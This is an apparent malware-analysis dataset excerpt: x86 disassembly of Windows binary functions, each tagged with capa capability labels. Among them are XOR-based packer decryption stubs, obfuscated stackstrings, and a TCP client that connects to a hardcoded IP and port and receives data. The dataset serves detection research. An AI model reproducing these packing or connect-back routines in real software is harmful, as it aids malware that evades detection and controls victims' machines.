joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b570
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
push ebx
push esi
push edi
push 0x118
mov edi, eax
lea eax, [esp + 0x14]
push 0
push eax
call sub.msvcrt.dll_memset
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push ecx
lea edx, [esp + 0x20]
lea esi, [edi + 8]
push edx
mov dword [edi + 4], esi
call fcn.0044ae20
add esp, 0x14
test eax, eax
mov dword [esp + 0xc], eax
jne 0x44b698
mov ecx, dword [esp + 0x10]
mov dword [edi], ecx
shl ecx, 4
add ecx, dword [esp + 0x14]
add esi, 4
mov edx, dword [ecx]
mov dword [esi - 4], edx
mov edx, dword [ecx + 4]
add ecx, 4
mov dword [esi], edx
mov edx, dword [ecx + 4]
add ecx, 4
add esi, 4
mov dword [esi], edx
mov edx, dword [ecx + 4]
add ecx, 4
add esi, 4
mov dword [esi], edx
mov edx, dword [edi]
sub edx, 1
add esi, 4
sub ecx, 0x1c
test edx, edx
jle 0x44b678
mov edi, edi
mov edi, 4
jmp 0x44b610
movzx eax, byte [ecx + 3]
movzx eax, byte [eax + 0x45be70]
movzx ebx, byte [ecx + 2]
movzx ebx, byte [ebx + 0x45be70]
mov eax, dword [eax*4 + 0x45bf70]
xor eax, dword [ebx*4 + 0x45c370]
movzx ebx, byte [ecx + 1]
movzx ebx, byte [ebx + 0x45be70]
xor eax, dword [ebx*4 + 0x45c798]
mov ebx, dword [ecx]
and ebx, 0xff
movzx ebx, byte [ebx + 0x45be70]
xor eax, dword [ebx*4 + 0x45cb98]
add esi, 4
mov dword [esi - 4], eax
add ecx, 4
sub edi, 1
jne 0x44b610
sub edx, 1
sub ecx, 0x20
test edx, edx
jg 0x44b600
mov eax, dword [esp + 0xc]
mov edx, dword [ecx]
mov dword [esi], edx
mov edx, dword [ecx + 4]
add ecx, 4
add esi, 4
mov dword [esi], edx
mov edx, dword [ecx + 4]
add esi, 4
add ecx, 4
mov dword [esi], edx
mov ecx, dword [ecx + 4]
mov dword [esi + 4], ecx
mov ecx, 0x118
lea edx, [esp + 0x10]
sub ecx, 1
mov byte [edx], 0
add edx, 1
test ecx, ecx
jne 0x44b6a1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44cb80
Capabilities:
Hash data using sha1

Disassembly:
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x44d380
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
mov eax, dword [edi + 0x144]
mov ecx, dword [edi + 0x140]
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
push 0
push 8
push eax
push ecx
call fcn.0044dc00
push 0
mov esi, edx
mov edx, dword [edi + 0x14c]
push 8
mov ebx, eax
mov eax, dword [edi + 0x148]
push edx
push eax
mov dword [esp + 0x2c], esi
call fcn.0044dc00
mov ecx, dword [edi + 0x150]
mov dword [ebp], ecx
mov ecx, dword [edi + 0x154]
mov dword [ebp + 4], ecx
mov ecx, dword [edi + 0x158]
mov dword [ebp + 8], ecx
mov ecx, dword [edi + 0x15c]
mov dword [ebp + 0xc], ecx
mov ecx, ebx
or ecx, esi
mov dword [esp + 0x14], edx
jne 0x44d3f8
mov ecx, eax
or ecx, edx
je 0x44d535
xor ecx, ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
mov ecx, edx
shr ecx, 0x18
mov byte [esp + 0x20], cl
mov ecx, edx
shr ecx, 0x10
mov byte [esp + 0x21], cl
mov ecx, edx
shr ecx, 8
mov byte [esp + 0x22], cl
mov cl, byte [esp + 0x14]
mov byte [esp + 0x23], cl
mov ecx, eax
mov ebp, edx
shrd ecx, ebp, 0x18
mov byte [esp + 0x24], cl
mov ecx, eax
shr ebp, 0x18
mov ebp, edx
shrd ecx, ebp, 0x10
mov byte [esp + 0x25], cl
mov ecx, eax
shrd ecx, edx, 8
mov byte [esp + 0x27], al
mov byte [esp + 0x26], cl
mov eax, esi
shr eax, 0x10
mov ecx, esi
shr ecx, 8
shr edx, 8
mov byte [esp + 0x29], al
mov byte [esp + 0x2a], cl
mov edx, esi
shr edx, 0x18
mov ecx, esi
mov eax, ebx
shrd eax, ecx, 0x18
mov byte [esp + 0x28], dl
mov dl, byte [esp + 0x1c]
mov byte [esp + 0x2c], al
mov byte [esp + 0x2b], dl
shr ecx, 0x18
mov eax, esi
mov edx, ebx
shrd edx, eax, 0x10
mov ecx, ebx
shrd ecx, esi, 8
shr esi, 8
shr ebp, 0x10
shr eax, 0x10
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], bl
xor eax, eax
lea esi, [edi + 0x171]
jmp 0x44d4c0
movzx edx, byte [esp + eax + 0x20]
movzx ecx, byte [esp + eax + 0x21]
xor byte [esi + eax - 1], dl
xor byte [esi + eax], cl
movzx edx, byte [esp + eax + 0x22]
movzx ecx, byte [esp + eax + 0x23]
xor byte [esi + eax + 1], dl
xor byte [esi + eax + 2], cl
add eax, 4
cmp eax, 0x10
jb 0x44d4c0
lea ecx, [edi + 0x170]
push ecx
mov eax, edi
call fcn.0044cda0
mov eax, dword [esp + 0x38]
add esp, 4
add eax, 1
mov ecx, 4
jmp 0x44d510
movzx edx, byte [esi - 1]
xor byte [eax - 1], dl
movzx edx, byte [esi]
xor byte [eax], dl
movzx edx, byte [esi + 1]
xor byte [eax + 1], dl
movzx edx, byte [esi + 2]
xor byte [eax + 2], dl
add esi, 4
add eax, 4
sub ecx, 1
jne 0x44d510
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret
Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x249927fb
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1fc43770
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x7c4b618f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x5632683a
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x43bf20
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, 4
imul ecx, eax, 0x81a
mov edx, dword [ecx + 0x491c38]
or edx, 0x8c58a032
mov eax, 4
imul ecx, eax, 0x180
mov dword [ecx + 0x491c38], edx
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 8]
mov dword [ecx + eax], 0
mov edx, 4
imul eax, edx, 0x159
mov ecx, dword [eax + 0x491c38]
shl ecx, 9
and ecx, 0x4e636703
mov edx, 2
imul eax, edx, 0x893
mov word [eax + 0x48fce0], cx
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp - 8]
mov dword [edx + ecx], 0
mov eax, 2
imul ecx, eax, 0xb34
mov dx, word [ecx + 0x48fce0]
sub dx, 1
mov word [ebp - 2], dx
mov eax, 2
imul ecx, eax, 0xb34
mov dx, word [ebp - 2]
mov word [ecx + 0x48fce0], dx
movsx eax, word [ebp - 2]
sub eax, 0x34c90668
mov ecx, 4
imul edx, ecx, 0x3fe
mov ecx, dword [edx + 0x491c38]
add ecx, eax
mov edx, 4
imul eax, edx, 0x3fe
mov dword [eax + 0x491c38], ecx
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 8]
mov dword [eax + edx + 8], 0x67452301
mov ecx, 4
imul edx, ecx, 0x3f1
imul eax, dword [edx + 0x491c38], 0xa1593bcc
mov ecx, 4
imul edx, ecx, 0x3f1
mov dword [edx + 0x491c38], eax
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 8]
mov dword [ecx + eax + 8], 0xefcdab89
mov edx, 4
imul eax, edx, 0xb87
mov ecx, dword [eax + 0x491c38]
xor ecx, 0xd40da1e3
cmp ecx, 0xfffe6a4f
jne 0x43c091
mov edx, 4
imul eax, edx, 0x29d
mov ecx, dword [eax + 0x491c38]
and ecx, 0xe8d53b81
mov edx, 4
imul eax, edx, 0x29d
mov dword [eax + 0x491c38], ecx
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx + ecx + 8], 0x98badcfe
mov eax, 2
imul ecx, eax, 0xec1
movsx edx, word [ecx + 0x48fce0]
cmp edx, 0x4acb2bfa
jne 0x43c0e7
mov eax, 2
imul ecx, eax, 0x830
movsx edx, word [ecx + 0x48fce0]
or edx, 0x36855686
mov eax, 2
imul ecx, eax, 0x830
mov word [ecx + 0x48fce0], dx
mov edx, 4
imul eax, edx, 3
mov ecx, dword [ebp - 8]
mov dword [ecx + eax + 8], 0x10325476
mov edx, 4
imul eax, edx, 0xdef
mov ecx, dword [eax + 0x491c38]
and ecx, 0xadec0fc6
mov edx, 4
imul eax, edx, 0xdef
mov dword [eax + 0x491c38], ecx
mov esp, ebp
pop ebp
ret

Function at 0x445530
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, 4
imul ecx, eax, 0xd68
mov edx, dword [ecx + 0x491c38]
add edx, 1
mov dword [ebp - 4], edx
mov eax, 4
imul ecx, eax, 0xd68
mov edx, dword [ebp - 4]
mov dword [ecx + 0x491c38], edx
mov eax, 4
imul ecx, eax, 0x6b5
mov edx, dword [ecx + 0x491c38]
imul edx, dword [ebp - 4]
mov eax, 4
imul ecx, eax, 0xc1f
or edx, dword [ecx + 0x491c38]
cmp edx, 0xade2a2f2
je 0x4455b5
mov edx, 4
imul eax, edx, 0x739
mov ecx, dword [eax + 0x491c38]
xor ecx, 0xefa7ffc4
mov edx, 4
imul eax, edx, 0x739
mov dword [eax + 0x491c38], ecx
mov ecx, dword [0x48f448]
push ecx
call fcn.00453df0
add esp, 4
mov edx, 4
imul eax, edx, 0x77a
mov ecx, dword [eax + 0x491c38]
or ecx, 0xc9a9fbba
mov edx, 4
imul eax, edx, 0x77a
mov dword [eax + 0x491c38], ecx
push 1
call fcn.004653f0
mov ecx, 4
imul edx, ecx, 0x764
mov eax, dword [edx + 0x491c38]
sub eax, 0x2e69280f
or eax, 0x753de7b3
mov ecx, 4
imul edx, ecx, 0x674
mov dword [edx + 0x491c38], eax
mov esp, ebp
pop ebp
ret
Function at 0x46ca95
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x48ea10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00466b6c
mov dword [ebp - 0x14], eax
cmp dword [0x49668c], esi
jne 0x46cb88
push 0x800
push esi
push 0x484260
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x46cb15
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x46cc68
push esi
push esi
push 0x484260
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x46cc68
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x46cc68
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x49668c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x496690], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x496694], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x49669c], eax
test eax, eax
je 0x46cb85
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x496698], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x46cbad
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x46cba0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x46cbc2
push 4
pop eax
jmp 0x46cc6a
cmp dword [ebp - 0x14], esi
je 0x46cbc2
push dword [0x49668c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x46cba7
mov eax, dword [0x496698]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x46cc20
cmp dword [0x49669c], edi
je 0x46cc20
push eax
call ebx
push dword [0x49669c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x46cc20
test eax, eax
je 0x46cc20
call ecx
test eax, eax
je 0x46cc15
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x46cc15
test byte [ebp - 8], 1
jne 0x46cc20
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x46cc50
mov eax, dword [0x496690]
cmp eax, edi
je 0x46cc4d
push eax
call ebx
test eax, eax
je 0x46cc4d
call eax
mov esi, eax
test esi, esi
je 0x46cc4d
mov eax, dword [0x496694]
cmp eax, edi
je 0x46cc4d
push eax
call ebx
test eax, eax
je 0x46cc4d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x49668c]
call ebx
test eax, eax
je 0x46cc68
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x46cc6a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046c8e7
mov esp, ebp
pop ebp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401771
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4017d6
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4017d6
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._iXbjKJTZ
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x40178d
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4017e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x140
mov dword [ebp - 0x132], 0x4c696256
mov dword [ebp - 0x12e], 0x70735250
mov dword [ebp - 0x12a], 0x79566157
mov dword [ebp - 0x126], 0x59636948
mov dword [ebp - 0x122], 0x72575171
mov dword [ebp - 0x11e], 0x6252446a
mov dword [ebp - 0x11a], 0x644c646a
mov dword [ebp - 0x116], 0x4c51516c
mov dword [ebp - 0x112], 0x45525042
mov dword [ebp - 0x10e], 0x52696372
mov dword [ebp - 0x10a], 0x62735079
mov dword [ebp - 0x106], 0x6967656b
mov dword [ebp - 0x102], 0x7659
lea eax, [ebp - 0xfe]
mov ecx, 0xf2
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x132]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x140
pop ebx
pop edi
pop ebp
ret
Function at 0x4018c2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018fd
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._iXbjKJTZ
mov dword [esp], str.192.168.28.130
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401922
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._iXbjKJTZ
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x51e
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401993
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._iXbjKJTZ
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401e40
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401ea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40606c]
test esi, esi
jle 0x401fc0
mov eax, dword [0x406070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401ed4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401f57
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401ec0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401fe7
mov eax, dword [0x406070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401fc7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401f50
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401f60
add dword [0x40606c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401f50
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x401ede
mov eax, dword [0x406070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop
Function at 0x402510
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406080]
sub esp, 4
test ebx, ebx
je 0x402565
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40255e
test eax, eax
jne 0x40255e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402540
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4028a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4028c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4028d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4028c5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402918
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40290e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40291a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402900
xor eax, eax
pop ebx
pop esi
ret